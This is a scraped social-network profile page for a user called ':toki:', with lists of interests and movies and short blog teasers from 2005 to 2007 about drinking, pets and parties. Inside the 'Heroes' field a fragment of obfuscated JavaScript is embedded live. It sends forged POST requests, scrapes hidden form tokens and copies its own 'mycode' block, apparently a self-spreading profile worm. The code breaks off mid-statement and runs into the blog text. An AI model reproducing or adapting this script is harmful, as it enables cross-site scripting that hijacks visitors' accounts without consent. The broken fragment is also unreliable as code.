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:toki:

most baby monkeys are total fucking pussies.

About Me

i don't wanna be spaghetti, i don't wanna be spaghetti....

My Interests

**The Good** holding hands, sarcasm, compassion, showers, playing in the rain, taking deep breaths, photos, ice, participating in drunken fashion shows, true love, education, friends, bonesaw (bunny) and igby (puppy), diagrams, lower case letters, hip bones, sushi, knitting, random art projects, mochi, flowers, bunnies bunnies bunnies, people watching, blowing up balloons and letting them go, cheap beer, 80's metal, not matching, head butting, concerts, whiskey, cigarette smoke, and loud music, drunken sledding, growling, febreeze, "gettin my homicide on", finding new freckles, comfortable silences, randomness, puppies who sit in the driver's seat, leg warmers, globes, robots, asian culture, andy warhol and jean-michel basquiat, nan goldin and sarah moon, talking and/or walking in your sleep, paint parties, day drinking, duct tape, juicy juice, babies and/or children, the color green, bright eye shadow, dj girls, mannequins, fruit trees, chainlink fences for certain purposes, maternal instinct, burt's beeswax, owls, dinosaurs, ghosties, bats (the kind with wings), vintage dresses, apple butter, making collages, carnation instant breakfast, gore gore and more gore (movie-wise, mostly), lentils, sailors who aren't actually sailors, sequins, dancing all the way to class, and the thought of midnight picnics.**The Bad** grasshoppers, giant prehistoric sea creatures, ketchup, bird bones, and especially styrofoam.

I'd like to meet:

robots and dinosaurs.

Music:

gorilla munch and dick rock.

Movies:

the science of sleep~ rules of attraction~ secretary~ saving face~ labyrinth~ running scared~ high tension~ requiem for a dream~ garden state~ 3 ninjas~ wet hot american summer~ may~ jawbreaker~ lost boys~ breakfast club~ imprint~ halloween~ anchor man~ short circuit~ elf~ i am sam~ harry potter(s)~ spun~ trainspotting~ house of 1000 corpses~ devil's rejects~ little mermaid~ haggard~ almost famous~ the hot chick~ donnie darko~ eternal sunshine of the spotless mind~ amelie~ corina, corina (fuck you, it's a cute movie)~ how to lose a guy in 10 days~ basquiat~ drop dead fred~ emmitt otters jug band christmas~ texas chainsaw massacre (except the remake)~ SLC Punk~ rocky horror picture show~

Television:

metalocalypse, project runway, interior design shows, chicagogo, flcl, and pretty much any trashy reality show.

Books:

motley crue- the dirt is the best book ever. i also like helter skelter, although i'm not finished with it, but i know these things. most importantly, i like danny and the dinosaur!!!!! danny's a cool kid. not as cool as my friend's german shepard, randy. i want a cat named todd, but i doubt he'd be as cool as steve the cat. this is no longer about books.......

Heroes:

my slayer-lovin brother (back in the day) with his mullet and his sweet ass reebok pumps.0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('

My Blog

king cobra ninja action!

soooo, this is the best day ever.  it's 4 in the afternoon and susan and i are watching 3 ninjas and drinking 40s.  nonthing compliments 10 year old, sexy, ninja action like king cobra! i w...
Posted by :toki: on Mon, 22 Jan 2007 02:21:00 PST

for our eyes......

to me, these things are beautiful....">">you don't have to agree...........
Posted by :toki: on Tue, 13 Jun 2006 11:30:00 PST

if you do one thing in your life, READ THIS!

the greatest story ever to be toldby dustin morrison & jayna wilson alright, so this owl, Bobby, was trying to figure out how he was going to get enough pesos to pay for this shit-ass bus trip fro...
Posted by :toki: on Fri, 26 May 2006 02:28:00 PST

sweet christ

i finally got bonesaw.  that's right.  righteous!!! i haven't been to bed yet, so after i take a nap, i'll put up some delicious bonesaw pictures.  don't you worry- you will all get to ...
Posted by :toki: on Fri, 21 Apr 2006 09:18:00 PST

snap!

i just realized, i am sooo a "tiny dancer".  i'm tiny and i dance like a motherfuck.  what else do i need??
Posted by :toki: on Sun, 16 Apr 2006 03:19:00 PST

bonesaw

i fell in love with a bunny rabbit today.  he's a "lionhead" rabbit.  he's black, has a smashed in face, tiny ears, and he looks like a puff ball with eyes!!!  he doesn't even look...
Posted by :toki: on Thu, 13 Apr 2006 06:52:00 PST

bad news fish

for all of you who had the pleasure of meeting lampwick studebaker wavy bacon crunchy ramone hemoglobin nerkmite wilson, you know he was the coolest fish on the planet.  yeah, well, he's dead.&nb...
Posted by :toki: on Thu, 23 Mar 2006 11:26:00 PST

friends

evan williams is much nicer to me than ezra brooks.  although, evan did fuck me over a little bit.  i'm starting to think jack is the only way to go.  he never steers me wrong and i alw...
Posted by :toki: on Thu, 16 Feb 2006 12:02:00 PST

fuck whiskey

i ruined my life in a single night and ezra brooks was my right hand man.
Posted by :toki: on Tue, 20 Dec 2005 04:22:00 PST

holy shit

i actually had fun last night.  a lot of fun.  it started out slow but ended up as one of my favorite nights in carbondale so far.  i had a lot of great conversations and realized a lot...
Posted by :toki: on Sun, 11 Dec 2005 02:51:00 PST